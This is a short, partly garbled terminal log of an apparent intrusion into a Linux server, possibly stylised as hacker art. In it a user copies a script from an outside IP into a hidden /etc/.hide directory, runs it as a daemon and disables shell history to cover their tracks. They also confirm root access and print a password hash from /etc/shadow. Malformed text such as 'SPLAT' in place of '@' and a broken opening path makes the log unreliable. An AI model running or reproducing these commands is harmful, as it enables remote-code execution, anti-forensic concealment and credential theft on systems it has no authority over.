S7A3E7
From CFG
Found file: ~$S7A3E7~*$UPLINK_ESTABLISHED/run://GRUSS.VOM.KRAMPUS.sh
scp -p sp4d3s ssSPLAT22.34.12.99:/etc/.hide/grus.vom.krampus.sh.
ssh shizzireSPLATbabbage.x0l.nu
password: *******
ss@x0l#
ss@x0l#./grus.vom.krampus.sh & daemonizing process
attaching PID to process list #845153
ss@x0l:# export HISTFILE=/dev/null
ss@x0l# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
ss@x0l# uname -a
Linux xx.yy.net 2.6.24.5-grsec-hostnoc-4.0.0-x86_64-libata
#1 SMP Sat May 22 02:26:01 EDT 2010 x86_64 x86_64 x86_64 GNU/Linux
ss@x0l# head -n1 /etc/shadow
root@x0l::$1$t4e0hufX$UH4Q5jTj93EEAODNrSaWO/:14412:0:99999:7:::
ss@x0l# w
02:26:05, load average: 9.01, 9.78,
10.73
USER root
TTY pts/0
FROM 125.238.144.224
LOGIN@ 02:26
IDLE 7.26m
JCPU 02:26
PCPU 13:25
WHAT htop
ss@x0l# pwd
/root
